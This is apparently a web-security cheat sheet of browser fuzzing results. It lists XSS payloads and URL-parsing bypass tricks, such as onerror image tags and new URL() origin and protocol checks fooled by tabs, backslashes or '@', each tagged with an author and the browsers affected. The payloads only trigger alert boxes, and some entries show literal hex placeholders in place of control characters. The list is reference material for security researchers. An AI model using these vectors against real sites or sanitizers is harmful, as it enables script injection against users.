Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 169 vectors with results
if (new URL("https://google.com0x090x09/endpoint").origin=="https://google.com"){alert(9)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com##/endpoint").origin=="https://google.com"){alert(35)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com///endpoint").origin=="https://google.com"){alert(47)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com??/endpoint").origin=="https://google.com"){alert(63)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com\\/endpoint").origin=="https://google.com"){alert(92)}Author: hansmach1ne
JSURL HandlingChromeFirefox
<p><img/src/onerror=alert(1)></p>Source: < removal bypass
Author: Device1306
HTMLHTML ParsingFirefoxChrome
if (new URL("javascript0x09:alert()").protocol=="javascript:"){alert(9)}Author: renniepak
JSURL HandlingChromeSafariFirefox
if (new URL("javascript::alert()").protocol=="javascript:"){alert(58)}Author: renniepak
JSURL HandlingChromeSafariFirefox
if (new URL("javascript\:alert()").protocol=="javascript:"){alert(92)}Author: renniepak
JSURL HandlingChromeSafariFirefox
<iframe src='data:application/xml,<?xml version="1.0" encoding="UTF-8"0x00><x:script xmlns:x="http://www.w3.org/1999/xhtml">window.parent.postMessage("0x00","*")</x:script>'></iframe>0x0D
<script>0x0D
window.addEventListener('message', e => console.alert(e.data));0x0D
</script>Author: ola456
XSSHTML ParsingChrome
<input id="test" value="s0x00onload="alert(1)" />Source: Escape inline double quote
Author: lUcgryy
XSSHTML ParsingMicrosoft EdgeChrome
if (['https:'].includes("\https:")){0x0D
alert(92)0x0D
}Author: Simpsonpt
JSXSS ExecutionFirefoxChrome
<img src=x><img/src/onerror=alert(1)>Source: Character that closes HTML tag
Author: InsertScript
HTMLHTML ParsingChromeFirefoxSafari
<!----!>><img/src/onerror=alert(1)>HTMLHTML ParsingChrome
char = String.fromCodePoint(0,0)0x0D
url = "javascript://"+char+"google.com"0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
pwn(url,char)0x0D
}0x0D
0x0D
function pwn(url,char){0x0D
try{0x0D
window.open(url)0x0D
console.alert("shirley");0x0D
alert(0,0)0x0D
}catch(e){0x0D
}0x0D
}Author: Sudistark
JSURL HandlingChrome
if (new URL("https://0x09localhost/endpoint").host == "localhost") {0x0D
alert(9);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https:///localhost/endpoint").host == "localhost") {0x0D
alert(47);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://@localhost/endpoint").host == "localhost") {0x0D
alert(64);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://\localhost/endpoint").host == "localhost") {0x0D
alert(92);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://localhost/endpoint").host == "localhost") {0x0D
alert(173);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
<div style="color:red">test</div>Source: CSS inline property definition
Author: hipotermia
HTMLCSS ParsingChromeMicrosoft Edge
document.body.innerHTML = String.fromCodePoint(60) + "img src=x onerror=alert(60) />";Author: nollium
JSHTML ParsingChrome
$:alert(36)JSXSS ExecutionChromeSafari
_:alert(95)JSXSS ExecutionChromeSafari
ª:alert(170)JSXSS ExecutionChromeSafari
µ:alert(181)JSXSS ExecutionChromeSafari
0 > 0x7f && normalizationForms.forEach(form => {0x0D
const normalized = String.fromCodePoint(0).normalize(form);0x0D
for(let charToCheck of charsToCheck) {0x0D
if(charToCheck === normalized) {0x0D
alert(String.fromCodePoint(0)+"("+form+")"+"="+charToCheck);0x0D
}0x0D
}0x0D
})JSJavaScript SyntaxChromeFirefox